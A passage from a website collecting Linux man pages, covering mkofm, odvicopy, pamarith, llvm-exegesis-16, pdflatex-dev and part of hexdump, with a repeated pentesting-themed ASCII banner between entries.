Note: It is possible to use any timezone of users’ choice by setting $TZ environment variable, though not recommended. See ENVIRONMENT VARIABLE section below.

PLAIN TEXT OUTPUT OPTIONS

-t, –delimiter=STRING
String to use as delimiter (TAB by default). Other than normal characters, several escape sequences are also recognised:
(carriage return)
(line feed)
(tab)
 (escape)

-n, –no-heading
Don’t show recycle bin path name, metadata and field headers

-8, –always-utf8
(Option deprecated since 0.7.0 version)

MISCELLANEOUS OPTIONS

-v, –version
Print version information and exit.

-h, –help
Show help options and exit.

–help-all
Show all help options and exit.

–help-text
Show plain text output options and exit.

EXAMPLES

`rifiuti-vista -x -z -o result.xml

1690 - Linux cli command mkofm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mkofm and provides detailed information about the command mkofm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mkofm.

NAME 🖥️ mkofm 🖥️

front end to mktextfm(1)

SYNOPSIS

mkofm ARGS

DESCRIPTION

mkofm takes all ARGS and passes them to mktextfm(1). For more information about appropriate arguments, see mktextfm(1).

SEE ALSO

mktextfm(1) <https://ctan.org/pkg/omega>

BUGS

Email bug reports to <https://lists.tug.org/tex-k> (public mailing list).

AUTHOR

mkofm is part of Omega. The primary authors of Omega are John Plaice and Yannis Haralambous.

This manual page was written by C.M. Connelly for the Debian GNU/Linux system. It is now maintained as part of TeX Live.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1691 - Linux cli command odvicopy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command odvicopy and provides detailed information about the command odvicopy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the odvicopy.

NAME 🖥️ odvicopy 🖥️

produce modified copy of DVI file

SYNOPSIS

dvicopy [options] [infile[.dvi] [outfile[.dvi]]]

DESCRIPTION

This manual page is not meant to be exhaustive. The complete documentation for this version of TeX can be found in the info file or manual Web2C: A TeX implementation.

dvicopy reads a DVI file, expands any references to virtual fonts to base fonts, and writes the resulting DVI file. Thus you can use virtual fonts even if your DVI processor does not support them, by passing the documents through dvicopy first.

OPTIONS

**-magnification=**NUMBER
Override existing magnification with NUMBER.

**-max-pages=**NUMBER
Process NUMBER pages; default one million.

**-page-start=**PAGE-SPEC
Start at PAGE-SPEC, for example `2’ or `5.*.-2'.

SEE ALSO

dviselect(1), dvitype(1).

AUTHORS

Peter Breitenlohner wrote the program. Klaus Guntermann originally ported it to Unix.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1692 - Linux cli command pamarith

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamarith and provides detailed information about the command pamarith, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamarith.

.

NAME 🖥️ pamarith 🖥️

perform arithmetic on two Netpbm images

SYNOPSIS

pamarith -add | -subtract | -multiply | -divide | -difference | -minimum | -maximum | -mean | -equal | -compare | -and | -or | -nand | -nor | -xor | -shiftleft | -shiftright [**-closeness=**N] pamfile1 pamfile2

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamarith reads two or more PBM, PGM, PPM, or PAM images as input. It performs the specified binary arithmetic operation on their sample values and produces an output of a format which is the more general of the two input formats. The two input images must be of the same width and height. The arithmetic is performed on each pair of identically located tuples to generate the identically located tuple of the output.

For functions that are commutative and associative, pamarith applies the binary function repetitively on as many input images as you supply. For example, for -add , the output is the sum of all the inputs. For other functions (e.g. -subtract), the program fails if you supply more than two input images. (Before Netpbm 10.93 (December 2020), the program always failed with more than two input images).

For some other functions, pamarith could theoretically compute a meaningful result for multiple arguments, but it fails nonetheless if you give more than two input images. -mean and -equal are in that category.

Most of what pamarith does is not meaningful for visual images. It works toward Netpbm’s secondary purpose of just manipulating arbitrary matrices of numbers.

For the purpose of the calculation, it assumes any PBM, PGM, or PPM input image is the equivalent PAM image of tuple type BLACKANDWHITE, GRAYSCALE, or RGB, respectively, and if it produces a PBM, PGM, or PPM output, produces the equivalent of the PAM image which is the result of the calculation.

The first pamfile argument identifies the “left” argument image; the second pamfile argument identifies the “right” one.

If the output is PAM, the tuple type is the same as the tuple type of the left input image.

pamarith performs the arithmetic on each pair of identically located tuples in the two input images.

The arithmetic operation is in all cases fundamentally a function from two integers to an integer (but see below - the functions are defined in ways that you can effectively e.g. add real numbers). The operation is performed on two tuples as follows. The two input images must have the same depth, or one of them must have depth one. pamarith fails if one of these is not the case.

If they have the same depth, pamarith simply carries out the arithmetic one sample at a time. I.e. if at a particular position the left input image contains the tuple (s1,s2,…,sN) and the right input image contains the tuple (t1,t2,…tN), and the function is f, then the output image contains the tuple (f(s1,t1),f(s2,t2),…,f(sN,tN)).

If one of the images has depth 1, the arithmetic is performed between the one sample in that image and each of the samples in the other. I.e. if at a particular position the left input image contains the tuple (s) and the right input image contains the tuple (t1,t2,…tN), and the function is f, then the output image contains the tuple (f(s,t1),f(s,t2),…,f(s,tN)).

PBM Oddness

If you’re familiar with the PBM format, you may find pamarith’s operation on PBM images to be nonintuitive. Because in PBM black is represented as 1 and white as 0, you might be expecting black minus black to be white.

But the PBM format is irrelevant, because pamarith operates on the numbers found in the PAM equivalent (see above). In a PAM black and white image, black is 0 and white is 1. So black minus black is black.

Maxval

The meanings of the samples with respect to the maxval varies according to the function you select.

In PAM images in general, the most usual meaning of a sample (the one that applies when a PAM image represents a visual image), is that it represents a fraction of some maximum. The maxval of the image corresponds to some maximum value (in the case of a visual image, it corresponds to “full intensity.”), and a sample value divided by the maxval gives the fraction.

For pamarith, this interpretation applies to the regular arithmetic functions: -add, -subtract, -multiply, -divide, -difference, -minimum, -maximum, -mean, -equal, and -compare. For those, you should think of the arguments and result as numbers in the range [0,1). For example, if the maxval of the left argument image is 100 and the maxval of the right argument image is 200 and the maxval of the output image is 200, and the left sample value in an -add calculation is 50 and the right sample is 60, the actual calculation is 50/100 + 60/200 = 160/200, and the output sample value is 160.

For these functions, pamarith makes the output image’s maxval the maximum of the two input maxvals, except with -equal and -compare. For -equal, the output maxval is always 1. For -compare, it is always 2. (Before Netpbm 10.14 (February 2003), there was no exception for -compare; in 10.14, the exception was just that the maxval was at least 2, and sometime between 10.18 and 10.26 (January 2005), it changed to being exactly 2).

If the result of a calculation falls outside the range [0, 1), pamarith clips it – i.e. considers it to be zero or 1-.

In many cases, where both your input maxvals are the same, you can just think of the operation as taking place between the sample values directly, with no consideration of the maxval except for the clipping. E.g. an -add of sample value 5 to sample value 8 yields sample value 13.

But with -multiply, this doesn’t work. Say your two input images have maxval 255, which means the output image also has maxval 255. Consider a location in the image where the input sample values are 5 and 10. You might think the multiplicative product of those would yield 50 in the output. But pamarith carries out the arithmetic on the fractions 5/255 and 10/255. It multiplies those together and then rescales to the output maxval, giving a sample value in the output PAM of 50/255 rounded to the nearest integer: 0.

With the bit string operations, the maxval has a whole different meaning. The operations in question are: -and, -or, -nand, -nor, -xor, and -shiftleft, -shiftright.

With these, each sample value in one or both input images, and in the output image, represents a bit string, not a number. The maxval tells how wide the bit string is. The maxval must be a full binary count (a power of two minus one, such as 0xff) and the number of ones in it is the width of the bit string. For the dyadic bit string operations (that’s everything but the shift functions), the maxvals of the input images must be the same and pamarith makes the maxval of the output image the same.

For the bit shift operations, the output maxval is the same as the left input maxval. The right input image (which contains the shift counts) can have any maxval and the maxval is irrelevant to the interpretation of the samples. The sample value is the actual shift count. But it’s still required that no sample value exceed the maxval.

NOTE: UNARY FUNCTIONS

pamarith applies only binary functions. If you want to apply a unary function, e.g. “halve”, to a single image, use pamfunc.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamarith recognizes the following command line options:

The Function

These options select the function that pamarith applies.

You must specify one of these, and cannot specify more than one.

-add
Adds the two values. If the result is larger than maxval, it is clipped.

-subtract
Subtracts a value in the right input image from a value in the left input image.

-minimum
Chooses the smaller value of the two.

-maximum
Chooses the larger value of the two.

-difference
Calculates the absolute value of the difference.

-multiply
Does an ordinary arithmetic multiplication, but tends to produce nonobvious results because of the way pamarith interprets sample values. See Maxval .

-divide
Divides a value in the left input image by the value in the right input image. But like -multiply, it tends to produce nonobvious results. Note that pamarith clipping behavior makes this of little use when the left argument (dividend) is greater than the right argument (divisor) – the result in that case is always the maxval. If the divisor is 0, the result is the maxval.

-divide was new in Netpbm 10.30 (October 2005).

-equal
Produces maxval when the values in the two images are equal and zero when they are not. Note that the output maxval is always 1 for -equal.

If the maxvals of the input images are not identical, pamarith may claim two values are not equal when in fact they are, because of the precision with which it does the arithmetic.

You can make the equality test approximate with the -closeness option. This gives the percentage of maxval by which the samples can differ and still be considered equal.

-equal was new in Netpbm 10.93 (December 2020).

-compare
Produces the value 0 when the value in the left input image is less than the value in the right input image, 1 when the values are equal, and 2 when the left is greater than the right.

If the maxvals of the input images are not identical, pamarith may claim two values are not equal when in fact they are, because of the precision with which it does the arithmetic. However, it will never say A is greater than B if A is less than B.

-compare was new in Netpbm 10.13 (December 2002).

-and, -nand, -or, -nor, -xor
These consider the input and output images to contain bit strings; they compute bitwise logic operations. Note that if the maxval is 1, you can also look at these as logic operations on boolean input values. See section Maxval for the special meaning of maxval with respect to bit string operations such as these.

-shiftleft, -shiftright
These consider the left input image and output image to contain bit strings. They compute a bit shift operation, with bits falling off the left or right end and zeroes shifting in, as opposed to bits off one end to the other. The right input image sample value is the number of bit positions to shift.

Note that the maxval (see Maxval ) determines the width of the frame within which you are shifting.

Other

-closeness
This changes the meaning of -equal. It is not valid with any other function. See the description of -equal.

SEE ALSO

pamfunc(1) , pamsummcol(1) , pamsumm(1) , pnminvert(1) , pambrighten(1) , ppmdim(1) , pnmconvol(1) , pamdepth(1) , pnmpsnr(1) , pnm(1) , pam(1)

HISTORY

pamarith replaced pnmarith in Netpbm 10.3 (June 2002).

In Netpbm 10.3 through 10.8, though, pamarith was not backward compatible because it required the input images to be of the same depth, so you could not multiply a PBM by a PPM as is often done for masking. (It was not intended at the time that pnmarith would be removed from Netpbm – the plan was just to rewrite it to use pamarith; it was removed by mistake).

But starting with Netpbm 10.9 (September 2002), pamarith allows the images to have different depths as long as one of them has depth 1, and that made it backward compatible with pnmarith.

The original pnmarith did not have the -mean option.

The -compare option was added in Netpbm 10.13 (December 2002).

The bit string operations were added in Netpbm 10.27 (March 2005).

The -divide option was added in Netpbm 10.30 (October 2005).

The ability to have more than one input (operand) was added in Netpbm 10.93 (December 2020).

The -equal option was added in Netpbm 10.93 (December 2020).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamarith.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1693 - Linux cli command llvm-exegesis-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-exegesis-16 and provides detailed information about the command llvm-exegesis-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-exegesis-16.

NAME 🖥️ llvm-exegesis-16 🖥️

exegesis - LLVM Machine Instruction Benchmark

SYNOPSIS

llvm-exegesis [options]

DESCRIPTION

llvm-exegesis is a benchmarking tool that uses information available in LLVM to measure host machine instruction characteristics like latency, throughput, or port decomposition.

Given an LLVM opcode name and a benchmarking mode, llvm-exegesis generates a code snippet that makes execution as serial (resp. as parallel) as possible so that we can measure the latency (resp. inverse throughput/uop decomposition) of the instruction. The code snippet is jitted and, unless requested not to, executed on the host subtarget. The time taken (resp. resource usage) is measured using hardware performance counters. The result is printed out as YAML to the standard output.

The main goal of this tool is to automatically (in)validate the LLVM’s TableDef scheduling models. To that end, we also provide analysis of the results.

llvm-exegesis can also benchmark arbitrary user-provided code snippets.

EXAMPLE 1: BENCHMARKING INSTRUCTIONS

Assume you have an X86-64 machine. To measure the latency of a single instruction, run:

$ llvm-exegesis -mode=latency -opcode-name=ADD64rr

Measuring the uop decomposition or inverse throughput of an instruction works similarly:

$ llvm-exegesis -mode=uops -opcode-name=ADD64rr $ llvm-exegesis -mode=inverse_throughput -opcode-name=ADD64rr

The output is a YAML document (the default is to write to stdout, but you can redirect the output to a file using -benchmarks-file):


key:
  opcode_name:     ADD64rr
  mode:            latency
  config:          ''
cpu_name:        haswell
llvm_triple:     x86_64-unknown-linux-gnu
num_repetitions: 10000
measurements:
  - { key: latency, value: 1.0058, debug_string: '' }
error:           ''
info:            'explicit self cycles, selecting one aliasing configuration.
Snippet:
ADD64rr R8, R8, R10
'
...

To measure the latency of all instructions for the host architecture, run:

$ llvm-exegesis -mode=latency -opcode-index=-1

EXAMPLE 2: BENCHMARKING A CUSTOM CODE SNIPPET

To measure the latency/uops of a custom piece of code, you can specify the snippets-file option (- reads from standard input).

$ echo “vzeroupper” | llvm-exegesis -mode=uops -snippets-file=-

Real-life code snippets typically depend on registers or memory. llvm-exegesis checks the liveliness of registers (i.e. any register use has a corresponding def or is a “live in”). If your code depends on the value of some registers, you have two options:

  • Mark the register as requiring a definition. llvm-exegesis will automatically assign a value to the register. This can be done using the directive LLVM-EXEGESIS-DEFREG <reg name> <hex_value>, where <hex_value> is a bit pattern used to fill <reg_name>. If <hex_value> is smaller than the register width, it will be sign-extended.

  • Mark the register as a “live in”. llvm-exegesis will benchmark using whatever value was in this registers on entry. This can be done using the directive LLVM-EXEGESIS-LIVEIN <reg name>.

For example, the following code snippet depends on the values of XMM1 (which will be set by the tool) and the memory buffer passed in RDI (live in).

LLVM-EXEGESIS-LIVEIN RDI

# LLVM-EXEGESIS-DEFREG XMM1 42
vmulps        (%rdi), %xmm1, %xmm2
vhaddps       %xmm2, %xmm2, %xmm3
addq $0x10, %rdi

EXAMPLE 3: ANALYSIS

Assuming you have a set of benchmarked instructions (either latency or uops) as YAML in file /tmp/benchmarks.yaml, you can analyze the results using the following command:

$ llvm-exegesis -mode=analysis
-benchmarks-file=/tmp/benchmarks.yaml
-analysis-clusters-output-file=/tmp/clusters.csv
-analysis-inconsistencies-output-file=/tmp/inconsistencies.html

This will group the instructions into clusters with the same performance characteristics. The clusters will be written out to /tmp/clusters.csv in the following format:

cluster_id,opcode_name,config,sched_class … 2,ADD32ri8_DB,,WriteALU,1.00 2,ADD32ri_DB,,WriteALU,1.01 2,ADD32rr,,WriteALU,1.01 2,ADD32rr_DB,,WriteALU,1.00 2,ADD32rr_REV,,WriteALU,1.00 2,ADD64i32,,WriteALU,1.01 2,ADD64ri32,,WriteALU,1.01 2,MOVSX64rr32,,BSWAP32r_BSWAP64r_MOVSX64rr32,1.00 2,VPADDQYrr,,VPADDBYrr_VPADDDYrr_VPADDQYrr_VPADDWYrr_VPSUBBYrr_VPSUBDYrr_VPSUBQYrr_VPSUBWYrr,1.02 2,VPSUBQYrr,,VPADDBYrr_VPADDDYrr_VPADDQYrr_VPADDWYrr_VPSUBBYrr_VPSUBDYrr_VPSUBQYrr_VPSUBWYrr,1.01 2,ADD64ri8,,WriteALU,1.00 2,SETBr,,WriteSETCC,1.01 …

llvm-exegesis will also analyze the clusters to point out inconsistencies in the scheduling information. The output is an html file. For example, /tmp/inconsistencies.html will contain messages like the following : [image]

Note that the scheduling class names will be resolved only when llvm-exegesis is compiled in debug mode, else only the class id will be shown. This does not invalidate any of the analysis results though.

OPTIONS

-help
Print a summary of command line options.

-opcode-index=<LLVM opcode index>
Specify the opcode to measure, by index. Specifying -1 will result in measuring every existing opcode. See example 1 for details. Either opcode-index, opcode-name or snippets-file must be set.

-opcode-name=<opcode name 1>,<opcode name 2>,…
Specify the opcode to measure, by name. Several opcodes can be specified as a comma-separated list. See example 1 for details. Either opcode-index, opcode-name or snippets-file must be set.

-snippets-file=<filename>
Specify the custom code snippet to measure. See example 2 for details. Either opcode-index, opcode-name or snippets-file must be set.

-mode=[latency|uops|inverse_throughput|analysis]
Specify the run mode. Note that some modes have additional requirements and options.

latency mode can be make use of either RDTSC or LBR. latency[LBR] is only available on X86 (at least Skylake). To run in latency mode, a positive value must be specified for x86-lbr-sample-period and –repetition-mode=loop.

In analysis mode, you also need to specify at least one of the -analysis-clusters-output-file= and -analysis-inconsistencies-output-file=.

–benchmark-phase=[prepare-snippet|prepare-and-assemble-snippet|assemble-measured-code|measure]
By default, when -mode= is specified, the generated snippet will be executed and measured, and that requires that we are running on the hardware for which the snippet was generated, and that supports performance measurements. However, it is possible to stop at some stage before measuring. Choices are: * prepare-snippet: Only generate the minimal instruction sequence. * prepare-and-assemble-snippet: Same as prepare-snippet, but also dumps an excerpt of the sequence (hex encoded). * assemble-measured-code: Same as prepare-and-assemble-snippet. but also creates the full sequence that can be dumped to a file using –dump-object-to-disk. * measure: Same as assemble-measured-code, but also runs the measurement.

-x86-lbr-sample-period=<nBranches/sample>
Specify the LBR sampling period - how many branches before we take a sample. When a positive value is specified for this option and when the mode is latency, we will use LBRs for measuring. On choosing the “right” sampling period, a small value is preferred, but throttling could occur if the sampling is too frequent. A prime number should be used to avoid consistently skipping certain blocks.

-x86-disable-upper-sse-registers
Using the upper xmm registers (xmm8-xmm15) forces a longer instruction encoding which may put greater pressure on the frontend fetch and decode stages, potentially reducing the rate that instructions are dispatched to the backend, particularly on older hardware. Comparing baseline results with this mode enabled can help determine the effects of the frontend and can be used to improve latency and throughput estimates.

-repetition-mode=[duplicate|loop|min]
Specify the repetition mode. duplicate will create a large, straight line basic block with num-repetitions instructions (repeating the snippet num-repetitions/snippet size times). loop will, optionally, duplicate the snippet until the loop body contains at least loop-body-size instructions, and then wrap the result in a loop which will execute num-repetitions instructions (thus, again, repeating the snippet num-repetitions/snippet size times). The loop mode, especially with loop unrolling tends to better hide the effects of the CPU frontend on architectures that cache decoded instructions, but consumes a register for counting iterations. If performing an analysis over many opcodes, it may be best to instead use the min mode, which will run each other mode, and produce the minimal measured result.

-num-repetitions=<Number of repetitions>
Specify the target number of executed instructions. Note that the actual repetition count of the snippet will be num-repetitions/snippet size. Higher values lead to more accurate measurements but lengthen the benchmark.

-loop-body-size=<Preferred loop body size>
Only effective for -repetition-mode=[loop|min]. Instead of looping over the snippet directly, first duplicate it so that the loop body contains at least this many instructions. This potentially results in loop body being cached in the CPU Op Cache / Loop Cache, which allows to which may have higher throughput than the CPU decoders.

-max-configs-per-opcode=<value>
Specify the maximum configurations that can be generated for each opcode. By default this is 1, meaning that we assume that a single measurement is enough to characterize an opcode. This might not be true of all instructions: for example, the performance characteristics of the LEA instruction on X86 depends on the value of assigned registers and immediates. Setting a value of -max-configs-per-opcode larger than 1 allows llvm-exegesis to explore more configurations to discover if some register or immediate assignments lead to different performance characteristics.

-benchmarks-file=</path/to/file>
File to read (analysis mode) or write (latency/uops/inverse_throughput modes) benchmark results. “-” uses stdin/stdout.

-analysis-clusters-output-file=</path/to/file>
If provided, write the analysis clusters as CSV to this file. “-” prints to stdout. By default, this analysis is not run.

-analysis-inconsistencies-output-file=</path/to/file>
If non-empty, write inconsistencies found during analysis to this file. - prints to stdout. By default, this analysis is not run.

-analysis-filter=[all|reg-only|mem-only]
By default, all benchmark results are analysed, but sometimes it may be useful to only look at those that to not involve memory, or vice versa. This option allows to either keep all benchmarks, or filter out (ignore) either all the ones that do involve memory (involve instructions that may read or write to memory), or the opposite, to only keep such benchmarks.

-analysis-clustering=[dbscan,naive]
Specify the clustering algorithm to use. By default DBSCAN will be used. Naive clustering algorithm is better for doing further work on the -analysis-inconsistencies-output-file= output, it will create one cluster per opcode, and check that the cluster is stable (all points are neighbours).

-analysis-numpoints=<dbscan numPoints parameter>
Specify the numPoints parameters to be used for DBSCAN clustering (analysis mode, DBSCAN only).

-analysis-clustering-epsilon=<dbscan epsilon parameter>
Specify the epsilon parameter used for clustering of benchmark points (analysis mode).

-analysis-inconsistency-epsilon=<epsilon>
Specify the epsilon parameter used for detection of when the cluster is different from the LLVM schedule profile values (analysis mode).

-analysis-display-unstable-clusters
If there is more than one benchmark for an opcode, said benchmarks may end up not being clustered into the same cluster if the measured performance characteristics are different. by default all such opcodes are filtered out. This flag will instead show only such unstable opcodes.

-ignore-invalid-sched-class=false
If set, ignore instructions that do not have a sched class (class idx = 0).

-mtriple=<triple name>
Target triple. See -version for available targets.

-mcpu=<cpu name>
If set, measure the cpu characteristics using the counters for this CPU. This is useful when creating new sched models (the host CPU is unknown to LLVM). (-mcpu=help for details)

–analysis-override-benchmark-triple-and-cpu
By default, llvm-exegesis will analyze the benchmarks for the triple/CPU they were measured for, but if you want to analyze them for some other combination (specified via -mtriple/-mcpu), you can pass this flag.

–dump-object-to-disk=true
If set, llvm-exegesis will dump the generated code to a temporary file to enable code inspection. Disabled by default.

EXIT STATUS

llvm-exegesis returns 0 on success. Otherwise, an error message is printed to standard error, and the tool returns a non 0 value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1694 - Linux cli command pdflatex-dev

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdflatex-dev and provides detailed information about the command pdflatex-dev, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdflatex-dev.

NAME 🖥️ pdflatex-dev 🖥️

dev, pdflatex-dev, xelatex-dev, lualatex-dev, dvilualatex-dev, platex-dev, uplatex-dev - release candidate LaTeX testing

SYNOPSIS

latex-dev [first-line]

DESCRIPTION

These -dev executables are intended for testing upcoming LaTeX2e kernel changes. They correspond to new formats which have been tested by the LaTeX team for stability and usability. Thus, they are not arbitrary development snapshots; more like release candidates.

Wider testing by knowledgeable users is desired, indeed, is the main purpose for these executables to exist. Simply replacing the regular engine (e.g., pdflatex) with the -dev engine name (pdflatex-dev) is all that should be needed.

The lualatex-dev format is based on luahbtex, the luatex variant with harfbuzz enabled for glyph shaping.

Please report bugs in these -dev versions, like all LaTeX releases, following the procedure at https://www.latex-project.org/bugs.

SEE ALSO

latex(1).

The LaTeX home page is https://latex-project.org.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1695 - Linux cli command hexdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hexdump and provides detailed information about the command hexdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hexdump.

NAME 🖥️ hexdump 🖥️

display file contents in hexadecimal, decimal, octal, or ascii

SYNOPSIS

hexdump options file

hd options file

DESCRIPTION

The hexdump utility is a filter which displays the specified files, or standard input if no files are specified, in a user-specified format.

OPTIONS

Below, the length and offset arguments may be followed by the multiplicative suffixes KiB (=1024), MiB (=1024*1024), and so on for GiB, TiB, PiB, EiB, ZiB and YiB (the “iB” is optional, e.g., “K” has the same meaning as “KiB”), or the suffixes KB (=1000), MB (=1000*1000), and so on for GB, TB, PB, EB, ZB and YB.

-b, –one-byte-octal

One-byte octal display. Display the input offset in hexadecimal, followed by sixteen space-separated, three-column, zero-filled bytes of input data, in octal, per line.

-X, –one-byte-hex

One-byte hexadecimal display. Display the input offset in hexadecimal, followed by sixteen space-separated, two-column, zero-filled bytes of input data, in hexadecimal, per line.

-c, –one-byte-char

One-byte character display. Display the input offset in hexadecimal, followed by sixteen space-separated, three-column, space-filled characters of input data per line.

-C, –canonical

Canonical hex+ASCII display. Display the input offset in hexadecimal, followed by sixteen space-separated, two-column, hexadecimal bytes, followed by the same sixteen bytes in %_p format enclosed in | characters. Invoking the program as hd implies this option.

-d, –two-bytes-decimal

Two-byte decimal display. Display the input offset in hexadecimal, followed by eight space-separated, five-column, zero-filled, two-byte units of input data, in unsigned decimal, per line.

-e, –format format_string

Specify a format string to be used for displaying data.

-f, –format-file file

Specify a file that contains one or more newline-separated format strings. Empty lines and lines whose first non-blank character is a hash mark (#) are ignored.

-L, –color[=when]

Accept color units for the output. The optional argument when can be auto, never or always. If the when argument is omitted, it defaults to auto. The colors can be disabled; for the current built-in default see the –help output. See also the Colors subsection and the COLORS section below.

-n, –length length

Interpret only length bytes of input.

-o, –two-bytes-octal

Two-byte octal display. Display the input offset in hexadecimal, followed by eight space-separated, six-column, zero-filled, two-byte quantities of input data, in octal, per line.

-s, –skip offset

Skip offset bytes from the beginning of the input.

-v, –no-squeezing

The -v option causes hexdump to display all input data. Without the -v option, any number of groups of output lines which would be identical to the immediately preceding group of output lines (except for the input offsets), are replaced with a line comprised of a single asterisk.

-x, –two-bytes-hex

Two-byte hexadecimal display. Display the input offset in hexadecimal, followed by eight space-separated, four-column, zero-filled, two-byte quantities of input data, in hexadecimal, per line.

-h, –help

